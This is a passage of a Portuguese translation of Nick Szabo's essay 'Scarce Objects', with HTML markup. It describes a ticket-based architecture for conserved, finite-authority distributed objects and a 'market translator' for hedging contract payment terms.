&lt;li>Um delineamento claro de direitos e responsabilidades de propriedade. Em outras palavras, externalidades mínimas. Os direitos de propriedade especificam controle residual e responsabilidade sobre estados do mundo para os quais obrigações ou direitos específicos não são completamente especificados em contratos.&lt;/li>
&lt;/ol>
&lt;p>Direitos de propriedade e contratos são metodologias altamente evoluídas para lidar com objetos econômicos e entre si através de limites de confiança. A escassa arquitetura de objetos pode reutilizar esse paradigma de trabalho, porque reutiliza o modelo mental do mundo físico no qual esse paradigma de segurança foi inventado.&lt;/p>
&lt;p>Com objetos escassos, qualquer cálculo entre os limites de confiança terá essas propriedades de atomicidade, conservação, composição e a clara delimitação de direitos e responsabilidades. Esse modelo é bastante restritivo em comparação com o que estamos acostumados dentro dos limites de confiança. No entanto, será muito mais fácil impedir que os programadores escrevam código obscuramente inseguro, o que é fácil de fazer com ACLs, recursos ou criptografia. Além disso, a conservação (escassez) e a falta de externalidades são os dois principais pressupostos da microeconomia, o estudo das transações comerciais através dos limites da confiança. Assim, o escasso modelo de segurança de objetos nos permite herdar uma rica literatura de raciocínio formal sobre esses sistemas.&lt;/p>
&lt;p>Objetos escassos são, em outras palavras, commodities online. Essas mercadorias podem representar, normalmente, direitos (ou expectativas) aos serviços - o direito de usar um serviço de notícias ou e-mail (ou um componente desse pacote de direitos, por exemplo, o direito de usar o servidor de e-mail desse serviço), direito de fazer o upload ou cache de conteúdo, o &amp;ldquo;direito&amp;rdquo; (aqui mais como uma expectativa) de ter e-mail lido (postagem digital para evitar spam), etc. Tais direitos de serviço geralmente serão limitados ao cliente pelo tempo ou uso de recursos ou número de invocações. Quando representados adequadamente, por objetos escassos, esses serviços são conservados. Tais &amp;ldquo;direitos&amp;rdquo; ou expectativas codificadas são aplicadas contra o servidor pela reputação, pela &amp;ldquo;física&amp;rdquo; de objetos escassos, ou ambos, em substituição ou em adição aos caros meios legais tradicionais.&lt;/p>
&lt;p>Objetos escassos também podem representar relacionamentos únicos ou finitos entre pessoas e bits - nomes que correspondem a endereços, propriedade de marcas registradas, autoria de conteúdo, propriedade de certos direitos ao conteúdo (o que provavelmente não inclui, por razões de segurança, o direito de excluir outros de copiar os bits), etc.&lt;/p>
&lt;p>Objetos escassos não são um modelo completo de computação entre limites de confiança. Na verdade, existem muitos &lt;a href="http://szabo.best.vwh.net/idea.html" target="_blank" rel="noopener noreferrer">contratos inteligentes&lt;/a>
que podem ser implementados com protocolos criptográficos e / ou hardware seguro, mas não com objetos escassos. O que os objetos escassos oferecem é uma base direta para a implementação, de forma intuitivamente segura, das economias de troca de mercadorias anônimas formalizadas na microeconomia de maneira P2P na Internet.&lt;/p>
&lt;p>Outra área importante para objetos escassos é o raciocínio sobre as cadeias de suprimentos. Em objetos distribuídos, o gráfico de chamadas é a cadeia de suprimentos. Para estender os gráficos de chamadas através dos limites de confiança, devemos substituir os relacionamentos rígidos cliente-servidor com relacionamentos de cliente-fornecedor dinamicamente adaptáveis. O ideal aqui é criar um rico conjunto de ferramentas de manipulação de exceções entre limites de confiança. Observe que os riscos de crédito são um subconjunto adequado dos riscos da cadeia de suprimentos. Recentemente, Ka-Ping Yee colocou o problema da cadeia de suprimentos de maneira sucinta: &amp;ldquo;Desconfie de valores de retorno de objetos nos quais você não confia&amp;rdquo;.&lt;/p>
&lt;h3 id="controle-de-uso-vs-controle-de-acesso">Controle de Uso vs. Controle de Acesso&lt;/h3>
&lt;p>A escassa arquitetura de objetos sugerida aqui compartilha algumas coisas em comum com os recursos, mas protege mais tipos de recursos e é muito mais acessível para usuários e programadores. Capacidades (juntamente com ACLs) são um meio de implementar o &lt;a href="http://srl.cs.jhu.edu/pubs/SRL2003-03.pdf" target="_blank" rel="noopener noreferrer">controle de acesso&lt;/a>
. O controle de acesso simplesmente lida com o primeiro nível de questão sobre se uma entidade tem acesso ou não a um determinado recurso. Se uma entidade tiver esse acesso, esse acesso será, conforme modelado ou implementado por recursos básicos ou ACLs, efetivamente ilimitado em escopo. Objetos escassos, por outro lado, limitam o uso de recursos de três maneiras - primeiro, limitando a quantidade de recursos usados ​​por invocação, segundo, limitando o número de recursos usados ​​por direito (por ticket) e terceiro, limitando o número de bilhetes emitidos.&lt;/p>
&lt;h3 id="objetos-escassos-e-pola">Objetos escassos e POLA&lt;/h3>
&lt;p>Um sistema de capacidade bruta distribuída (ou seja, o que Mark Miller chama de &lt;a href="http://www.eros-os.org/pipermail/cap-talk/2004-November/002337.html" target="_blank" rel="noopener noreferrer">&amp;ldquo;caps-as-data&amp;rdquo;&lt;/a>
, para distinguir de capacidades locais para o TCB (&amp;ldquo;objeto caps&amp;rdquo;), que têm propriedades de segurança estritamente mais fortes) dar capacidades de duração infinita e invocações ilimitadas, não pode ser considerado como um verdadeiro princípio do sistema de menor autoridade (POLA). Para uma referência de objeto para implementar o POLA, ele deve ser finito em todas as dimensões. Um verdadeiro sistema POLA nunca dá mais autoridade do que é necessário e apropriado para calcular a função necessária. Nunca é necessário ou apropriado alocar recursos infinitos e, geralmente, não é necessário alocar recursos grandes. A escassa arquitetura de objetos é o primeiro design para sistemas de objetos a atingir autoridade finita e permitir pequenas alocações para objetos que precisam apenas de pequenas quantidades de recursos. Objetos escassos são, portanto, a primeira arquitetura a tornar possível o verdadeiro POLA.&lt;/p>
&lt;h3 id="arquitetura-de-objetos-escassos">Arquitetura de objetos escassos&lt;/h3>
&lt;p>A arquitetura de objetos escassos epende de uma arquitetura de objetos distribuídos que faz suposições mínimas de segurança. Uma boa estratégia de implementação pode ser, portanto, para implementar este modelo em cima de &lt;a href="http://www.erights.org/" target="_blank" rel="noopener noreferrer">E&lt;/a>
. Nenhum uso sofisticado de sua arquitetura de capacidade distributecd precisa ser feito para distribuir com segurança objetos escassos; em vez disso, os recursos de conservação de recursos de objetos escassos podem ser confiáveis ​​para proteger recursos.&lt;/p>
&lt;p>Um direito de portador de invocar um método de objeto escasso assume a forma de um certificado de portador ou &lt;em>ticket&lt;/em>. Ele pode ser &lt;em>genérico&lt;/em>, significando um direito a uma invocação N de um conjunto de objetos semelhantes ou idênticos, ou &lt;em>específico&lt;/em>, significando um direito de invocar um método de objeto específico de uma maneira única. Os direitos genéricos são fungíveis e podem ser transferidos sem relação, usando a cegueira de Chaumian.&lt;/p>
&lt;p>As etapas gerais para criar um objeto escasso são (1) definir um objeto normal e, em seguida, (2) envolvê-lo em uma camada que proteja seus métodos públicos usando tickets. Nosso esboço da arquitetura aqui descreve como essa camada de embalagem pode funcionar.&lt;/p>
&lt;p>A camada em questão envolve três servidores diferentes: um agente de transferência (TA), um Provedor e um Emissor. O Emitente e o TA funcionam como uma moeda digital sem dinheiro. O Emitente assina bilhetes. O TA elimina a transferência de bilhetes para direitos genéricos. Tanto a Emissora quanto a TA possuem cópias das chaves privadas (&amp;ldquo;chapas&amp;rdquo;) correspondentes a cada emissão de direito genérico. Um tipo específico de direito genérico (por exemplo, uma denominação específica de moeda digital) pode ter vários problemas, geralmente ordenados sequencialmente. O dinheiro digital é um caso especial: o dinheiro é o mais genérico dos direitos. Aqui está outro exemplo de um direito genérico, ou classe de objetos fungíveis: &amp;ldquo;Um banco de dados SQL queriable com até 10 MB de armazenamento, e certas garantias de tempo de resposta padrão&amp;rdquo;.&lt;/p>
&lt;p>É uma opção de design combinar ou não o Emissor e o TA em um único servidor (portanto, reduzir a exposição da chave privada) ou mantê-los separados (permitindo assim determinados controles pessoais baseados na &lt;a href="http://szabo.best.vwh.net/groupcontrols.html" target="_blank" rel="noopener noreferrer">separação de tarefas&lt;/a>
). Servidores distribuídos, descritos abaixo, são uma maneira ainda melhor de aumentar a confiabilidade dos Emissores e TAs.&lt;/p>
&lt;p>O Provedor é responsável por realmente manter o objeto, que pode conter um estado exclusivo. Publica uma descrição assinada de seu método de objeto escasso, descrevendo um tipo particular de direito genérico (por exemplo, na forma de pré e pós-condições de projeto por contrato). O emissor e o agente de transferência criam as placas e preparam-se para emitir tickets para o método.&lt;/p>
&lt;p>Qualquer um ou todos esses servidores de componentes podem ser distribuídos, usando os métodos descritos &lt;a href="http://szabo.best.vwh.net/coalition.html" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
e &lt;a href="http://nakamotoinstitute.org/secure-property-titles/" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
. Uma assinatura distribuída é usada para emitir tickets (M de N deve assinar usando uma chave privada distribuída para que uma assinatura verificável seja produzida). Essa distribuição reduz muito a exposição à quebra de confiança e, portanto, reduz os custos de transação mental do rastreamento de reputação.&lt;/p>
&lt;p>Para implementar transferências exclusivas, o TA mantém uma lista de números de tickets cancelados. Um bilhete é cancelado sempre que é transferido ou usado. O Provedor instrui o TA quando um ticket foi usado ou, alternativamente, ambos gravam em uma lista compartilhada de tickets limpos.&lt;/p>
&lt;p>O TA e o Emissor veem apenas classes de objetos fungíveis. O Provedor e os usuários vêem instâncias particulares com um estado exclusivo. No exemplo acima de um direito genérico do banco de dados, o Provedor vê um banco de dados preenchido com informações exclusivas, enquanto o TA e o Emissor veem apenas a descrição genérica dos métodos de invocação do objeto de banco de dados.&lt;/p>
&lt;p>Em contraste com os servidores, o usuário remoto de um objeto escasso encapsula seu stub de invocação de objeto com chamadas que trocam por tickets necessários (novamente usando um tradutor do mercado), envia os tickets conforme necessário com invocações de método para os métodos &amp;lsquo;Provider (s). Em alguns casos (esperamos que muitos), serviços genéricos suficientemente idênticos serão fornecidos pelos concorrentes. Quando isso ocorre, um &amp;ldquo;cliente de ticket&amp;rdquo; também pode &amp;ldquo;pesquisar&amp;rdquo;, no sentido de que, se as condições pré ou pós-falha falharem, ou se a chamada for detectada como defeituosa, o cliente do ticket tentará novamente invocando a solicitação. método do concorrente.&lt;/p>
&lt;p>O servidor Provider é quase apenas mais um cliente de ticket para o TA, o qual, como outros clientes, pode transferir ou receber tickets. Seu papel especial é informar ao TA quando os tickets foram usados, portanto, deve ser cancelado (ou, ainda, escrever o número do ticket cancelado diretamente para uma lista de números de tickets cancelados que ele compartilha com o TA). Somente o Emissor pode criar tickets e somente o Provedor pode consumi-los.&lt;/p>
&lt;p>No núcleo do Provedor está o próprio objeto bruto, o conjunto de métodos que fornece os serviços definidos para clientes de objetos escassos. O provedor é o wrapper em torno desse objeto. Além de suas funções de gatekeeping, verificação de ticket e consumo de tickets, o Provedor pode acompanhar e informar o Emitente sobre o uso de recursos.&lt;/p>
&lt;p>A Emissora, por sua vez, é a interface para as funções do micromercado, especialmente o tradutor do mercado descrito abaixo. O Emissor pode, por exemplo, por meio de um tradutor do mercado, que incorpora as preferências da pessoa que opera o Provedor, negociar acordos de permuta nos quais determinados tíquetes são emitidos e trocados por determinados outros tíquetes dando direito de invocar a contraparte ou um escasso métodos de objeto. As negociações também podem ser multipartidárias, ou seja &lt;a href="https://web.archive.org/web/20000229091752/http://www.agorics.com/agorpapers.html" target="_blank" rel="noopener noreferrer">leilões e trocas secundárias&lt;/a>
para direitos genéricos também podem ser desenvolvidas para bilhetes de objetos escassos. Por sua vez, o tradutor do mercado, para permitir operações de barganha automatizadas (baixo custo de transação mental), depende da existência de trocas on-line razoavelmente líquidas de direitos genéricos de objetos escassos.&lt;/p>
&lt;p>O TA gera a oferta de ingresso somente a pedido do Emissor, e o destrói apenas a pedido do Provedor. Todas as suas próprias transferências conservam o fornecimento de um determinado direito genérico. O Provedor também é responsável pela entrega do serviço ao cliente que satisfaz a descrição do serviço (contrato, por exemplo, condições pré e pós), quando o Provedor &amp;ldquo;deposita&amp;rdquo; o (s) bilhete (s) genérico (s), ou seja, adiciona-os à lista cancelada.&lt;/p>
&lt;p>O Provedor emite junto com o ticket inicial de direitos genéricos um affadavit assinado, máquina ou legível, descrevendo aspectos do objeto que podem ser não exclusivos e exclusivos, juntamente com o número do ticket da instância e as chaves públicas do direito genérico (s) para os quais é válido. Por exemplo, pode-se dizer &amp;ldquo;um banco de dados contendo cotações dessas duas dúzias de ações listadas às 12:22 de segunda-feira&amp;rdquo;, sem conter as cotações. Muitas vezes, essa descrição vale mais quando agrupada com direitos exclusivos genéricos, como o direito a um tempo de resposta rápido. Os direitos específicos podem elaborar de maneira única os direitos genéricos, desde que essas elaborações não sejam tomadas para definir direitos exclusivos. Os direitos genéricos permitem que os TAs garretam exclusividade aos usuários e conservação de recursos aos Provedores, enquanto os direitos específicos descrevem o estado único para qualquer grau desejado de elaboração. O Provedor deve estar preparado para atender a qualquer promessa específica que tenha emitido, contanto que seja acompanhado pelos tickets genéricos conservados adequados.&lt;/p>
&lt;p>Esse método de composição de direitos específicos e genéricos, transferidos como um pacote, mas com átomos genéricos exclusivos liberados por diferentes TAs, permite que pacotes de direitos arbitrariamente sofisticados, referindo-se a objetos com estado arbitrariamente exclusivo, sejam transferidos sem vinculação. Uma grande variedade de derivados e combinações são possíveis. A única restrição é que a obtenção de direitos a recursos exclusivos específicos deve ser adiada para a fase de consumo ou transferida com compensação on-line por meio de mix de comunicações caras.&lt;/p>
&lt;p>Se o Provedor desejasse garetar a exclusividade a um direito específico, a transferência parece exigir um mix de comunicações dispendiosas entre Provedor e cessionário, em vez de um bilhete cego barato. Por exemplo, &amp;ldquo;Deep Space Station 60 de 0500-0900 de domingo&amp;rdquo; ou &amp;ldquo;um bloqueio de autoexec.bat agora&amp;rdquo; exige exclusividade para um direito específico e, portanto, parece exigir um mix de comunicações para transferir de forma não vinculativa. Por outro lado, &amp;ldquo;Um bloco de uma hora no DSS-60 em maio&amp;rdquo; e &amp;ldquo;o direito de travar o autoexec.bat em algum momento&amp;rdquo; são genéricos e podem ser transferidos de forma privada com o cegamento muito mais barato, dada uma população suficiente de outros bilhete para esta classe de direito genérico transferido entre a emissão e o consumo de um determinado bilhete.&lt;/p>
&lt;p>Os clientes podem lidar com o TA sem um mix de comunicação. Eles lidam com o provedor por meio de um mix de comunicação. Se os titulares inicial e final não conseguissem fazer isso, o Provedor poderia vinculá-los. Se apenas o detentor final não o fizesse, o Provedor poderia identificá-lo como o usuário real do recurso. Assim, para a privacidade total, as transferências genéricas são baratas, e as transferências não exclusivas são baratas, enquanto transferências exsclusivas específicas e, na verdade, o uso do objeto parecem exigir o dispendioso mix de comunicações.&lt;/p>
&lt;p>Aqui está uma revisão da nossa arquitetura:&lt;/p>
&lt;p>Objetos atômicos conserváveis ​​compositáveis ​​(objetos escassos propriamente ditos):&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://nakamotoinstitute.org/contracts-with-bearer/" target="_blank" rel="noopener noreferrer">Tickets (contratos de portador)&lt;/a>
são certificados digitais emitidos por emissores confiáveis ​​ou distribuídos. Cada tipo de ticket representa um direito específico e limitado a um objeto escasso - por exemplo, o direito de invocar um método nesse objeto (ou seja, usar um serviço fornecido por esse objeto) até N vezes ou até um certo limite de uso de recursos . Os ingressos são uma parte essencial do &amp;ldquo;invólucro de objetos&amp;rdquo; que faz com que um objeto escasso pareça e aja de maneira rara.&lt;/li>
&lt;li>Emissores distribuídos, que mantêm &lt;a href="http://nakamotoinstitute.org/secure-property-titles/" target="_blank" rel="noopener noreferrer">títulos de propriedade&lt;/a>
para certos contratos ao portador, namespaces e outras entidades publicamente identificáveis ​​de outra forma inseguramente conservadas.&lt;/li>
&lt;li>Projeto por contrato (por exemplo, especificação detalhada e teste de pré e pós-condições) como uma parte central e não opcional da programação de objetos.&lt;/li>
&lt;/ul>
&lt;p>Uma infra-estrutura avançada de objetos escassos também pode incluir:&lt;/p>
&lt;ul>
&lt;li>Manipulação de exceções como procedimento de quebra ou quebra de contrato, para converter relacionamentos rígidos cliente-servidor em relacionamentos mutuamente benéficos e dinamicamente reconfiguráveis ​​(competitivos) cliente-fornecedor, adequados para invocação de objetos através de limites de confiança.&lt;/li>
&lt;li>Rastreamento de reputação do comportamento das cadeias de suprimentos. Protocolos criptográficos, como aqueles usados ​​para criar logs de transações não comprovados e confidencialmente auditáveis, podem ser usados ​​para melhorar a troca de privacidade versus informações de reputação, contanto que estejam ocultos sob uma metáfora intuitivamente clara da reputação do comportamento da cadeia de suprimentos.&lt;/li>
&lt;/ul>
&lt;p>Objetos escassos, criando um modelo de computação mais simples e intuitivo através de fronteiras de confiança, podem tornar realidade a distribuição de objetos na Internet global, assim como a simplificação do hipertexto em HTML tornou a Web uma realidade.&lt;/p>
&lt;h3 id="diagrama-da-arquitetura-proposta-de-objetos-escassos">Diagrama da arquitetura proposta de objetos escassos&lt;/h3>
&lt;p>&lt;a href="https://cypherpunks.com.br/static/img/docs/scarce-objects/ScarceObjects.jpg">&lt;img class="img-fluid" alt="" src="" loading="lazy"
/>
&lt;/a>
&lt;/p>
&lt;p>Clique para uma versão maior&lt;/p>
&lt;h3 id="compras-de-objetos-escassos---o-tradutor-do-mercado">Compras de objetos escassos - O tradutor do mercado&lt;/h3>
&lt;p>O problema dos &lt;a href="http://szabo.best.vwh.net/micropayments.html" target="_blank" rel="noopener noreferrer">custos mentais de transação&lt;/a>
é aquele que sustenta todos os mercados - o esforço mental necessário para fazer compras - para mapear as preferências privadas em relação aos preços, a fim de decidir se um conjunto de direitos vale o custo. Em particular, este problema apresenta uma barreira severa para micropagamentos e alocação de recursos baseada em mercado para redes e computadores.&lt;/p>
&lt;p>O tradutor do mercado tem como objetivo resolver, pela primeira vez, esse problema para o comércio na Internet. Um tradutor de mercado permite e depende de micro-mercados on-line para automatizar a alocação de recursos entre objetos escassos. Isso será feito permitindo o seguinte:&lt;/p>
&lt;ul>
&lt;li>Expressão de preferências - e sua tradução em expectativas codificadas, ou direitos e deveres - com GUIs de fácil utilização (&amp;ldquo;idioma de origem&amp;rdquo;) e uma &lt;a href="http://nakamotoinstitute.org/contract-language/" target="_blank" rel="noopener noreferrer">linguagem de contrato formal&lt;/a>
(&amp;ldquo;idioma de destino&amp;rdquo;) e tradução entre eles.&lt;/li>
&lt;li>Agrupamento e recombinação de estruturas sofisticadas de direitos.&lt;/li>
&lt;li>A entrada de preferências do usuário e sua tradução de humano expressável para forma legível por computador.&lt;/li>
&lt;/ul>
&lt;h4 id="o-problema">O Problema&lt;/h4>
&lt;p>O problema de &amp;ldquo;traduzir&amp;rdquo; entre contratos ao portador (que representam e garantem direitos a objetos escassos) pode ser lançado como um problema de tradução entre &lt;a href="http://nakamotoinstitute.org/shelling-out/" target="_blank" rel="noopener noreferrer">moedas&lt;/a>
. Para nossos propósitos, uma &amp;ldquo;moeda&amp;rdquo; em uma economia de objeto escassa é simplesmente qualquer tipo de &lt;a href="http://nakamotoinstitute.org/contracts-with-bearer" target="_blank" rel="noopener noreferrer">contrato de portador&lt;/a>
utilizado para a detenção e transferência de riqueza, e não para consumo pelo detentor. É assim um &lt;a href="http://nakamotoinstitute.org/shelling-out/#attributes-of-collectibles" target="_blank" rel="noopener noreferrer">&amp;ldquo;colecionável&amp;rdquo;&lt;/a>
(ou &amp;ldquo;mercadoria intermediária&amp;rdquo;, para usar o termo de Carl Menger). O tradutor do mercado, aliás, faz os preços O (n ^ 2) em uma economia de escambo, contra O (n) em uma economia monetária, uma distinção muito menos importante.&lt;/p>
&lt;p>Então, vamos olhar para as moedas. Vamos dizer que o pequeno empresário Alice está negociando contratos ciberespaciais com Bob, Charlie, etc. Típicos dos contratos internacionais, os termos podem ser denominados de várias maneiras. Estes são potencialmente não confiáveis: postagem de repostagem de Joe-Bob, Notas da Reserva Federal dos EUA em sua modalidade de 1970 (ou em 2003), recibos de depósito de ouro em Seychelles, moedas &amp;ldquo;Tigre Asiático&amp;rdquo; em 1997 e assim por diante.&lt;/p>
&lt;p>Moedas não confiáveis ​​podem causar estragos:&lt;/p>
&lt;ol>
&lt;li>termos contratuais de longa duração&lt;/li>
&lt;li>contabilidade a longo prazo do próprio orçamento de uma maneira consistente.&lt;/li>
&lt;/ol>
&lt;p>Cada problema interfere nas possíveis soluções para o outro. Por um lado, escolher uma única moeda melhor para todos os contratos concentra o risco. Em alguns casos, não há nada próximo a uma moeda confiável e, de qualquer forma, a diversificação é preferível. Sem cobertura, Alice permanece exposta a riscos que os traders mais sofisticados podem facilmente proteger.&lt;/p>
&lt;p>Outra maneira de olhar para ele: não há emissores no mundo que sejam 100% confiáveis ​​e 100% seguros. Na falta de um protocolo de segurança para garantir que uma moeda retenha seu valor, Alice precisa de gerenciamento de risco.&lt;/p>
&lt;p>Por outro lado, Alice, para planejar seu orçamento (pessoal e / ou de pequena empresa) e expressar adequadamente suas preferências, precisa de uma unidade de conta de longo prazo simples e consistente. Orçamento com uma única moeda flutuante já é ruim o suficiente, mas se Alice denomina gastos e receitas diferentes em moedas diferentes, seu orçamento se torna uma bagunça inconsistente. Também não é razoável pedir a um profissional não financeiro que se preocupe com os pontos mais sutis das taxas de câmbio, cobertura, etc.&lt;/p>
&lt;p>O que Alice faz? Resposta antiga: Alice contrata, a um custo de dinheiro e privacidade, um contador ou planejador financeiro, e pode ganhar algumas melhorias brutas. Principalmente, ela está sem sorte: pequenos empresários deixaram a maior parte do comércio internacional para grandes corporações, cujos executivos financeiros participam de sofisticadas estratégias de hedge.&lt;/p>
&lt;p>Proposta de nova resposta: use um tradutor do mercado para ajudar Alice a redigir seus contratos. Este tradutor de mercado deve ser útil tanto para contratos normais executados por lei quanto para contratos auto-obrigatórios não rastreáveis, onde estes são viáveis. No post seguinte vou esboçar como um tradutor de mercado pode funcionar.&lt;/p>
&lt;h4 id="uma-solução">Uma solução&lt;/h4>
&lt;p>A conversão automática de moeda, como feito hoje por alguns cartões de crédito e máquinas ATM, é um tipo primitivo útil de tradução de mercado. O leitor casual (e usuário) pode pensar no tradutor de mercado (MT) como um tipo sofisticado de conversor de moeda automatizado e obter a essência básica dele. O MT serve para converter, fazer hedge e, em geral, reestruturar os contratos de condições de pagamento negociados de qualquer maneira.&lt;/p>
&lt;p>Nossa principal novidade é dar conta dos orçamentos pessoais, não em termos de qualquer padrão externo de valor, mas sim em termos de unidades contábeis pessoais (PAUs). PAUs correspondem ao que Alice pode expressar de sua utilidade pessoal. O MT determina as preferências estáticas e temporais de Alice a partir do orçamento que Alice já mantém (por exemplo, seu orçamento para pequenas empresas em Quicken). Formulários de especificação de preferência adicionais podem ser fornecidos além daqueles de um programa de orçamento normal. Por exemplo, as configurações de preferência de software de Alice, seu comportamento com teclado e mouse e dicas semelhantes podem ser interpretadas como preferências econômicas, por exemplo, com relação a onde alocar o escasso espaço na tela e a largura de banda da rede.&lt;/p>
&lt;p>Por conveniência, o PAU de Alice pode corresponder à moeda local mais usada por Alice. Se a maioria dos itens orçamentários de Alice lidam com contratos on-line negociados via MT, o uso da moeda local não é necessário, e é indesejável se essa moeda for instável.&lt;/p>
&lt;p>Aqui está um diagrama mostrando Alice e Bob negociando um contrato usando seus tradutores de mercado:&lt;/p>
&lt;pre>&lt;code>Alice Bob
Esboço de contrato, &amp;quot;fonte&amp;quot; Esboço de contrato, &amp;quot;fonte&amp;quot;
(Alice PAUs) (Bob PAUs)
^ ^
| |
MT MT
| |
v v
Esboço de contrato, &amp;quot;alvo&amp;quot; &amp;lt;-----&amp;gt; Esboço de contrato, &amp;quot;alvo&amp;quot;
&lt;/code>&lt;/pre>
&lt;p>Um modo em que o MT pode ser usado é fazer com que Bob ofereça um contrato binário take-it-leave-it, correspondendo à prática atual de varejo de preços take-it-or-it-it. No modo mostrado acima, Alice e Bob negociam para frente e para trás. A negociação dos termos do contrato de origem geralmente será manual. O &amp;ldquo;idioma de origem&amp;rdquo; normalmente será uma GUI legível, enquanto o &amp;ldquo;alvo&amp;rdquo; será uma &lt;a href="http://nakamotoinstitute.org/contract-language/" target="_blank" rel="noopener noreferrer">linguagem de contrato formal&lt;/a>
. Se Alice e Bob puderem inserir preferências que levem a negociações automáticas, um &amp;ldquo;bot de compras&amp;rdquo; e um &amp;ldquo;bot de catálogo&amp;rdquo;, respectivamente, poderão ser usados. Esta é uma camada acima e além do escopo do MT. O MT é apenas um &amp;ldquo;bot de compras&amp;rdquo; na área restrita mas importante de contratos compostos de contratos de suporte atômico - direitos a objetos escassos - na medida em que as relações de preço entre esses contratos ao portador estão disponíveis em mercados cotados.&lt;/p>
&lt;p>O MT funciona como um compilador de linguagem de computador. Mas isso se traduz nos dois sentidos e, em tempo real, Alice e Bob negociam as condições de pagamento. Assim, por exemplo, Alice muda um termo em seu contrato, propondo pagar menos Alice-PAUs pelos serviços de Bob. Seu MT traduz isso em uma série de pagamentos e hedges: um sofisticado contrato sintético tão obscuro para Alice e Bob quanto o código binário é para muitos programadores atualmente. Este sintético é construído a partir de títulos do mercado líquido (contratos ao portador) e derivados de baixo custo de transação. Um contrato sintético é naturalmente representado como um objeto composto, uma hierarquia de partes inteiras que compõe &amp;ldquo;átomos&amp;rdquo; contratualizados primitivos, como títulos e derivativos.&lt;/p>
&lt;p>O MT de Bob inverte os termos reais de mercado em Bob-PAUs. Apesar de cada um concordar com diferentes quantias de pagamento, a estrutura visível além dos valores e o contrato subjacente completo é o mesmo. Eles podem estar confiantes de que, quando suas preferências tiverem sido satisfeitas, suas mentes se encontraram e podem se comprometer com o contrato.&lt;/p>
&lt;p>Como resultado, Alice e Bob vêem o contrato em termos de suas próprias unidades de utilidade pessoal consistentes. Todas as considerações sobre taxas de câmbio, riscos de inflação e assim por diante são tratadas pelo MT.&lt;/p>
&lt;p>Os MTs de Alice e Bob podem fazer conversões paralelas, coberturas e reestruturações para equilibrar seus portfólios. Essas sebes laterais não são reveladas umas às outras. Quaisquer termos binários que possam ser protegidos de uma só vez podem ser feitos quase arbitrariamente distantes do que Alice e Bob preferem financeiramente. Assim, Alice e Bob não precisam revelar suas preferências financeiras uns aos outros.&lt;/p>
&lt;p>(Nota: Para contratos com prazos de pagamento atrasados, Alice e Bob determinando o risco de crédito causado pelas exposições de crédito de cada um é um problema importante, mas além do escopo do MT como descrevi).&lt;/p>
&lt;p>Todo o conjunto de contratos de Alice com todas as suas contrapartes constitui seu portfólio completo - não apenas uma carteira de investimento segregada, mas uma carteira completa abrangendo todas as suas finanças. Este portfólio é representado como um composto de contratos compostos e forma a base para todo o planejamento financeiro de Alice e para a atividade de reequilíbrio de portfólios automatizados do MT.&lt;/p>
&lt;p>A principal estrutura de dados que representa os contratos para fins analíticos é a árvore de decisão de chance / escolha. Esta árvore tem dois tipos de nós, nós &amp;ldquo;casuais&amp;rdquo;, que percorrem todas as possibilidades materiais, e nós de &amp;ldquo;escolha&amp;rdquo;, onde a escolha ótima é feita. O resultado é o valor esperado de um conjunto de termos contratuais. As árvores podem representar um grande número de contratos com baixa resolução (lotes de poda e heurística), ou um contrato simples com alta resolução (todas as possibilidades consideradas). Os computadores desktop são ou serão em breve suficientemente rápidos para pesquisar milhares de contingências e contratos sintéticos compostos por centenas de contratos atômicos, com atrasos menores que as latências da Internet. Então o contrato binário pode ser um sintético muito sofisticado, desde que sua análise seja totalmente automatizada,&lt;/p>
&lt;h3 id="conclusão">Conclusão&lt;/h3>
&lt;p>O MT baseia-se em trocas automáticas on-line que hospedam mercados líquidos para títulos de renda fixa e derivativos. Esses mercados revelam as informações que o MT precisa para proteger adequadamente as moedas. Os criadores de mercado e os arbitradores mantêm esses mercados, garantindo que as informações mais precisas sobre prêmios de risco, curvas de juros e assim por diante estejam disponíveis para os MTs. Algumas informações não deriváveis ​​automaticamente dos preços de mercado podem ser disponibilizadas on-line por consultores financeiros, em formato padrão, para download por MTs por uma taxa.&lt;/p>
&lt;p>O contrato de origem é normalmente negociado e fechado manualmente, conforme compras normais. O MT é um &amp;ldquo;bot de compras&amp;rdquo;, mas apenas no domínio muito restrito, mas importante, das finanças relacionadas a condições de pagamento. Desde a&lt;/p>
&lt;ol>
&lt;li>Alice tem informações suficientes sobre suas preferências financeiras para o risco e o valor do tempo, através de seu programa de orçamento e / ou formulários especializados, e essas preferências se aplicam a todos os termos de pagamento usados ​​pelo MT,&lt;/li>
&lt;li>Todas as informações necessárias para determinar o risco apresentado por um termo de pagamento estão disponíveis on-line (geralmente na forma de preços de mercado para securitários e derivativos, mas também de consultores financeiros on-line que publicam notícias financeiras em formato legível por MT), e&lt;/li>
&lt;li>Assumindo que todos os valores mobiliários de cobertura e derivados podem ser automaticamente comprados ou vendidos pelo MT,&lt;/li>
&lt;/ol>
&lt;p>não deve haver necessidade de intervenção manual no processo de tradução de cobertura. Se tal intervenção manual for necessária, o sistema perderá rapidamente seu apelo para a maioria dos usuários.&lt;/p>
&lt;p>Se a informação de preferência ou de mercado não estiver disponível, ou as trocas de títulos e derivativos não estiverem disponíveis, o tradutor do mercado pode reverter para a conversão de moeda automatizada simples.&lt;/p>
&lt;p>O tradutor do mercado resolve assim um problema inquietante enfrentado pelas pequenas empresas multinacionais, a cobertura de termos de pagamento usando moedas potencialmente não confiáveis. Em termos mais gerais, o tradutor de mercado construído sobre uma arquitetura de objetos escassa reduzirá a barreira do custo de transação mental para micropagamentos e micro-mercados. Ele converterá habilidades e preferências em microlights e microduties para uso na alocação de recursos e serviços - seja contas de e-mail on-line, colecionáveis ​​de jogos on-line, imóveis na tela, largura de banda de rede e armazenamento em cache ou uma variedade de outros objetos de rede que , graças à escassa arquitetura de objetos, tornam-se objetos econômicos.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/scarce.html" target="_blank" rel="noopener noreferrer">Scarce Objects - Nick Szabo&lt;/a>
